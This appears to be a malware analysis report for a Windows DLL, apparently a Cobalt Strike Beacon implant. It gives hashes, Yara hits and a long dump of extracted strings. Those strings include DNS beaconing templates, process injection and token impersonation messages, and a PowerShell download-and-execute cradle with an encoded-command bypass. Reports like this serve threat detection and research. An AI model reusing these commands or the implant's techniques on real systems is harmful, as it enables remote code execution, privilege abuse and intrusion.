Sample details: ba184653cb4db9275095ce496e52d97d --

Hashes
MD5: ba184653cb4db9275095ce496e52d97d
SHA1: 48d10ec06c78b94ad64047eae1bbc579c0ad47d9
SHA256: 276975d19005b2ef2a27b87ad7d10cb500c0d3d6d2ed88e089e03d2ecdef0ae0
SSDEEP: 3072:xqkkr3Owrt4DtSOnmS0yolSVtlL780kUY15e57/:xgn48XjSVr380A
Details
File Type: PE32
Yara Hits
YRP/Visual_Cpp_2005_DLL_Microsoft | YRP/Visual_Cpp_2003_DLL_Microsoft | YRP/IsPE32 | YRP/IsDLL | YRP/IsWindowsGUI | YRP/HasRichSignature | YRP/powershell | YRP/maldoc_find_kernel32_base_method_1 | YRP/maldoc_getEIP_method_1 | YRP/domain | YRP/IP | YRP/url | YRP/contentis_base64 | YRP/System_Tools | YRP/anti_dbg | YRP/inject_thread | YRP/create_service | YRP/network_http | YRP/network_dns | YRP/escalate_priv | YRP/win_registry | YRP/win_token | YRP/win_files_operation | YRP/Prime_Constants_long | YRP/RijnDael_AES | YRP/BASE64_table | YRP/VC8_Random | YRP/Str_Win32_Winsock2_Library | YRP/Str_Win32_Wininet_Library | YRP/Str_Win32_Internet_API | YRP/Str_Win32_Http_API | FlorianRoth/PowerShell_Susp_Parameter_Combo | FlorianRoth/WiltedTulip_ReflectiveLoader | FlorianRoth/ReflectiveLoader | FlorianRoth/Beacon_K5om |
Strings
		!This program cannot be run in DOS mode.
|YLC|YLC|YLCb
C[YLCb
CnYLCb
7CsYLC|YMC
C}YLCb
C}YLCRich|YLC
`.rdata
@.data
@.reloc
D$HSVWh
QQSVW3
SWjD_W
SVWjD_W
0VVVVV
QQSVWj@
PPPWPP
tfj@ShI
tDHt(HuV
PSSSSSSh 
YYSSPhe
8<+tz<-tz
D$,PSP
0SSSSS
PRSVWj
YY_^[ZX
HHtXHHt
>If90t
HHtYHHt
0A@@Ju
<at9<rt,<wt
URPQQh
0WWWWW
j@j ^V
>=Yt1j
< tK<	tG
0SSSSS
0SSSSS
0SSSSS
^SSSSS
j"^SSSSS
v	N+D$
t"SS9]
PPPPPPPP
PPPPPPPP
tGHt.Ht&
^SSSSS
8VVVVV
;t$,v-
UQPXY]Y[
t+WWVPV
rijndael
=j&&LZ66lA??~
}{))R>
f""D~**T
V22dN::t
o%%Jr..\$
,cccc||||wwww{{{{
kkkkoooo
gggg++++
YYYYGGGG
&&&&6666????
uuuu				
nnnnZZZZ
RRRR;;;;
[[[[jjjj
9999JJJJLLLLXXXX
CCCCMMMM3333
PPPP<<<<
~~~~====dddd]]]]
ssss````
""""****
2222::::
$$$$\\\\
7777mmmm
llllVVVV
eeeezzzz
xxxx%%%%....
pppp>>>>
ffffHHHH
aaaa5555WWWW
UUUU((((
BBBBhhhhAAAA
='9-6d
_jbF~T
11#?*0
,4$8_@
t\lHBW
RRRR				jjjj
00006666
CCCCDDDD
TTTT{{{{
####====
ffff((((
vvvv[[[[
IIIImmmm
%%%%rrrr
]]]]eeee
llllppppHHHHPPPP
FFFFWWWW
kkkk::::
AAAAOOOOgggg
tttt""""
nnnnGGGG
VVVV>>>>KKKK
yyyy    
YYYY''''
____````QQQQ
;;;;MMMM
ccccUUUU!!!!
}}}}cc
&&Lj66lZ??~A
99rKJJ
==zGdd
""Df**T~
;22dV::tN
$$Hl\\
C77nYmm
%%Jo..\r
55j_WW
&Lj&6lZ6?~A?
~=zG=d
"Df"*T~*
2dV2:tN:
x%Jo%.\r.
a5j_5W
ggV}++
Lj&&lZ66~A??
bS11*?
Xt,,4.
RRvM;;
MMfU33
PPxD<<%
Bc!! 0
~~zG==
Df""T~**;
dV22tN::
xxJo%%\r..8$
pp|B>>q
aaj_55
UUPx((
QPeA~S
>4$8,@
p\lHtW
+HpXhE
T[$:.6
,4$8'9-6:.6$1#?*XhHpSeA~NrZlE
Sbt\lH
QeFbF~TiKwZ
4$8,9-6'.6$:#?*1hHpXeA~SrZlN
SbE\lHtQeF
F~TbKwZi
$8,4-6'96$:.?*1#HpXhA~SeZlNrSbE
lHt\eF
Q~TbFwZiK
8,4$6'9-$:.6*1#?pXhH~SeAlNrZbE
SHt\lF
QeTbF~ZiKw
"3DUfw
"3DUfw
"3DUfw
CorExitProcess
runtime error 
TLOSS error
SING error
DOMAIN error
An application has made an attempt to load the C runtime library incorrectly.
Please contact the application's support team for more information.
- Attempt to use MSIL code from this assembly during native code initialization
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
- not enough space for locale information
- Attempt to initialize the CRT more than once.
This indicates a bug in your application.
- CRT not initialized
- unable to initialize heap
- not enough space for lowio initialization
- not enough space for stdio initialization
- pure virtual function call
- not enough space for _onexit/atexit table
- unable to open console device
- unexpected heap error
- unexpected multithread lock error
- not enough space for thread data
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
- not enough space for environment
- not enough space for arguments
- floating point support not loaded
Microsoft Visual C++ Runtime Library
<program name unknown>
Runtime Error!
Program: 
(null)
`h````
xpxxxx
`h`hhh
xppwpp
EncodePointer
DecodePointer
FlsFree
FlsSetValue
FlsGetValue
FlsAlloc
ADVAPI32.DLL
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
UTF-16LE
UNICODE
Unknown Runtime Check Error
Stack memory around _alloca was corrupted
A local variable was used before it was initialized
Stack memory was corrupted
A cast to a smaller data type has caused a loss of data.  If this was intentional, you should mask the source of the cast with the appropriate bitmask.  For example:  
	char c = (i & 0xFF);
Changing the code in this way will not affect the quality of the resulting optimized code.
The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.
Stack around the variable '
' was corrupted.
The variable '
' is being used without being initialized.
Run-Time Check Failure #%d - %s
Unknown Module Name
Unknown Filename
Stack corrupted near unknown variable
Stack around _alloca corrupted
Local variable used before initialization
Stack memory corruption
Cast to smaller type causing loss of data
Stack pointer corruption
GetProcessWindowStation
GetUserObjectInformationA
GetLastActivePopup
GetActiveWindow
MessageBoxA
USER32.DLL
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
HH:mm:ss
dddd, MMMM dd, yyyy
MM/dd/yy
December
November
October
September
August
February
January
Saturday
Friday
Thursday
Wednesday
Tuesday
Monday
Sunday
MSPDB80.DLL
EnvironmentDirectory
SOFTWARE\Microsoft\VisualStudio\9.0\Setup\VS
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
PDBOpenValidate5
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
CONOUT$
cdn.%x%x.%s
www6.%x%x.%s
%s.1%x.%x%x.%s
%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x.%x%x.%s
%s.1%08x%08x.%x%x.%s
%s.1%08x.%x%x.%s
api.%x%x.%s
unknown
could not run command (w/ token) because of its length of %d bytes!
could not spawn %s (token): %d
could not spawn %s: %d
could not run %s as %s\%s: %d
COMSPEC
could not upload file: %d
could not open %s: %d
could not get file time: %d
could not set file time: %d
127.0.0.1
Could not connect to pipe (%s): %d
Could not open service control manager on %s: %d
Could not create service %s on %s: %d
Could not start service %s on %s: %d
Started service %s on %s
Could not query service %s on %s: %d
Could not delete service %s on %s: %d
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeUnsolicitedInputPrivilege
SeMachineAccountPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeSyncAgentPrivilege
SeEnableDelegationPrivilege
SeManageVolumePrivilege
Could not create service: %d
Could not start service: %d
Failed to impersonate token: %d
Failed to get token
IsWow64Process
kernel32
Could not open '%s'
D	0	%02d/%02d/%02d %02d:%02d:%02d	%s
F	%I64d	%02d/%02d/%02d %02d:%02d:%02d	%s
Wow64DisableWow64FsRedirection
Wow64RevertWow64FsRedirection
could not allocate %d bytes in process: %d
could not write to process memory: %d
could not create remote thread in %d: %d
could not open process %d: %d
%d is an x64 process (can't inject x86 content)
%d is an x86 process (can't inject x64 content)
\sysnative\rundll32.exe
NtQueueApcThread
process
Could not connect to pipe: %d
%d	%d	%s
Kerberos
kerberos ticket purge failed: %08x
kerberos ticket use failed: %08x
could not connect to pipe: %d
could not connect to pipe
Maximum links reached. Disconnect one
%d	%d	%d.%d	%s	%s	%s	%d	%d
Could not bind to %d
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')
%%IMPORT%%
Command length (%d) too long
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s
powershell -nop -exec bypass -EncodedCommand "%s"
?%s=%s
%s&%s=%s
%s%s: %s
Could not kill %d: %d
%s	%d	%d
%s	%d	%d	%s	%s	%d
sha256
abcdefghijklmnop
could not create pipe: %d
I'm already in SMB mode
%s (admin)
Could not open process: %d (%u)
Could not open process token: %d (%u)
Failed to impersonate token from %d (%u)
Failed to duplicate primary token for %d (%u)
Failed to impersonate logged on user %d (%u)
Could not create token: %d
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: %d
Microsoft Base Cryptographic Provider v1.0
?456789:;<=
 !"#$%&'()*+,-./0123
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq
LibTomMath
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/
GetTickCount
GetLocalTime
GetCurrentProcessId
CreateFileA
WaitForSingleObject
SetFileTime
WriteFile
CreateProcessA
GetEnvironmentVariableA
DisconnectNamedPipe
FlushFileBuffers
SetCurrentDirectoryA
GetStartupInfoA
GetLastError
GetCurrentDirectoryW
CreatePipe
GetCurrentDirectoryA
GetFileTime
CloseHandle
GetCurrentProcess
ConnectNamedPipe
GetCurrentThread
ReadFile
GetProcAddress
CreateNamedPipeA
GetModuleHandleA
GetVersionExA
CreateThread
GetFullPathNameA
SystemTimeToTzSpecificLocalTime
GetLogicalDrives
GetFileAttributesA
FileTimeToSystemTime
FindFirstFileA
FindClose
FindNextFileA
CreateRemoteThread
GetWindowsDirectoryA
OpenProcess
VirtualAllocEx
WriteProcessMemory
FreeLibrary
VirtualFree
Thread32First
Thread32Next
SetLastError
VirtualAlloc
LoadLibraryA
OpenThread
CreateToolhelp32Snapshot
SuspendThread
ResumeThread
PeekNamedPipe
WaitNamedPipeA
SetNamedPipeHandleState
LocalAlloc
LocalFree
GetComputerNameA
Process32First
TerminateProcess
Process32Next
ProcessIdToSessionId
KERNEL32.dll
CreateProcessAsUserA
CloseServiceHandle
CreateProcessWithLogonW
DeleteService
CreateServiceA
StartServiceA
CreateProcessWithTokenW
QueryServiceStatus
OpenSCManagerA
OpenServiceA
OpenProcessToken
OpenThreadToken
LookupPrivilegeValueA
ImpersonateLoggedOnUser
ImpersonateNamedPipeClient
QueryServiceStatusEx
ControlService
AdjustTokenPrivileges
GetUserNameA
InitializeSecurityDescriptor
SetSecurityDescriptorDacl
GetTokenInformation
LookupAccountSidA
DuplicateTokenEx
AllocateAndInitializeSid
RevertToSelf
FreeSid
CheckTokenMembership
LogonUserA
ADVAPI32.dll
HttpQueryInfoA
InternetConnectA
InternetQueryDataAvailable
InternetReadFile
InternetSetOptionA
HttpOpenRequestA
HttpSendRequestA
InternetOpenA
InternetCloseHandle
InternetQueryOptionA
WININET.dll
WS2_32.dll
DnsQuery_A
DnsFree
DNSAPI.dll
GetIfEntry
GetIpAddrTable
IPHLPAPI.DLL
LsaLookupAuthenticationPackage
LsaConnectUntrusted
LsaCallAuthenticationPackage
Secur32.dll
HeapFree
HeapAlloc
GetModuleHandleW
ExitProcess
MultiByteToWideChar
DeleteFileA
CreateDirectoryA
RemoveDirectoryA
GetCurrentThreadId
GetCommandLineA
GetSystemTimeAsFileTime
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsDebuggerPresent
HeapCreate
HeapDestroy
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
HeapReAlloc
GetStdHandle
GetModuleFileNameA
TlsGetValue
TlsAlloc
TlsSetValue
TlsFree
InterlockedIncrement
InterlockedDecrement
InitializeCriticalSectionAndSpinCount
GetCPInfo
GetACP
GetOEMCP
IsValidCodePage
RtlUnwind
WideCharToMultiByte
GetConsoleCP
GetConsoleMode
SetHandleCount
GetFileType
SetFilePointer
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
GetEnvironmentStringsW
QueryPerformanceCounter
RaiseException
DebugBreak
HeapSize
GetLocaleInfoA
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
WriteConsoleA
GetConsoleOutputCP
WriteConsoleW
SetStdHandle
GetProcessHeap
GetModuleFileNameW
VirtualQuery
SetEndOfFile
CryptReleaseContext
CryptAcquireContextA
CryptGenRandom
42ac37.dll
_ReflectiveLoader@4
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
ihihikiiikihikv
ijikimii
	imikimiyiiilihikiiioihiki
inijhiY
dhhhlij
 4~kjhihiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiaijhi]\G^_GXQ_GXPEF
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii`iji
F]GYIA
RI$: ,IQGYRI>
I'=I\GXRI=
F]GYRI.=+^G]RIG',=]GY*@iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiciji)F
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiibijhiiiimiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiieijhiiiiniiiiiiijiiioiiio*
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiidijhiiiiciiiO*
iiiniiiiiiiliiik
iiiniiihiiimiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiigiji)
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiifiji
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiizikimiiiii}ikimiiiiiyihikiiixihikiii{ihikiiii
D$$[[aYZQ
6QQh8h
AQAPRQVH1
AXAX^YZAXAYAZH
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD
Q0s0z0
2?3$4:4>4B4F4J4N4R4V4Z4^4b4f4j4n4r4v4z4~4
5"5&5*5.52565:5>5B5F5i5
6=6x6.7;7|7
8<8H8`8e8
<-=E=Y=z=
>*>2>q>
>"?)?.???\?q?}?
0'1-131h1
1+2[2}2
3 3+3Y3e3u3
889*:d:>;x;:<t<
4*414H4_4
5'6-6I6Z6f6
:+:^:n:
<#=K=U=[=
0`1o1x1
212C2X2o2
3%3+353;3D3P3W3`3k3q3w3
4/494P4z4
5&535B5^5q5{5
6#6*6F6e6
81868U8\8x8~8
?W?\?b?i?|?
0*0E0s0y0
171J1s1
2&252j2
4!444;4u4
455H5_5
6%6_6j6p6
;/;D;r;~;
>'>6>N>
0&1^1p1y1
2*2_2m2u2{2
434I4}4
5>5Q5x5
626C6k6t6
808P8j8
;#<3<E<
=)>7>t>
?.?J?j?
2%2V2j2
6"6s6k7
7F8J8N8R8V8Z8^8b8f8j8n8r8v8
: ;7;b;
>%>D>V>o>
7'70757H7R7
7(888K8v8
:$:@:F:K:Q:b:s:z:
:!;A;G;h;q;w;
<S<]<c<x<
>,>3>F>M>
?#?*???I?P?j?v?}?
F0W0a0g0v0|0
616A6p6
2%2-2:2J2U254I4
4U5c5o5v5
6%6*6E6M6X6d6u6
6=7^7j7
7#8J8^8q8~8
94:J:U:k:
:)?K?s?
5%6+6]6q6
8)8D8M8Z8d8
9:9V9u9
<0<L<i<
>!>/>#?1?>?N?]?p?z?
92,3034383<3@3D3H3L3P3T3X3\3`3d3L4c4q4
6R9V9Z9^9b9f9j9n9r9v9z9~9
h;n;t;z;
2!2H2O2_2j2
6&666A6c6j6z6
7%7G7N7^7i7
7W8^8n8y8
8a9h9x9
<8<?<O<Z<
=#=3=>=`=g=w=
=@>V>m>
0(1L1z2
:_:g:z:
<P=X=m=x=g>|>
?U?]?}?
:Q;V;`;
<!<Q<m<
>O>h>o>w>|>
?^?d?h?l?p?
U7Y7]7a7e7i7m7q7u7y7}7
7.9<9P:
;);2;7;=;G;P;[;g;l;|;
<R<W<e<m<y<
<!=/=5=X=_=x=
1(151@1R1e1p1v1|1
2 2-232M2^2d2u2
7Z7-989@9U9r9
;*</<W<|<
=)=6=[>b>m?
8"8.848?8K8`8g8{8
9!9'939B9H9Q9]9k9q9}9
;=<M<S<_<e<u<{<
=)=.=3=9===C=H=N=S=b=x=
001g1r1
3 3O3]3
5"515:5O5
:+:e:r:|:
> ><>E>K>T>Y>h>
1E2K2e2t2
3%3/3U3
6(787e7m7
=x>A?r?
0C2f2q2
<'=;=\=b=
=3>=>e>~>
?S?Y?}?
0$0>0r0
011:1F1}1
5/5:5Q5]5j5q5
6<6U6i6
;%<D<x<
0?0X0_0g0l0p0t0
1N1T1X1\1`1
2!2K2}2
2[3i3o3
4Y6`6f6
2/3<5N5`5
:Q:q:S=u=
4D4R4Z4g4
5	6A6T6e6
7)848b8p8y8
8-9:9b9
;!<'<K<n<
2W2d2C3R3
7p:v:|:
83<3@3D3H3T3X3x3
88<8@8D8H8L8
8>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
? ?(?|?
3 3@3\3`3
4,404P4l4p4
505<5X5x5
64686X6x6
3$3,343<3D3L3T3\3d3l3p3t3
8@9P9`9p9
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>x>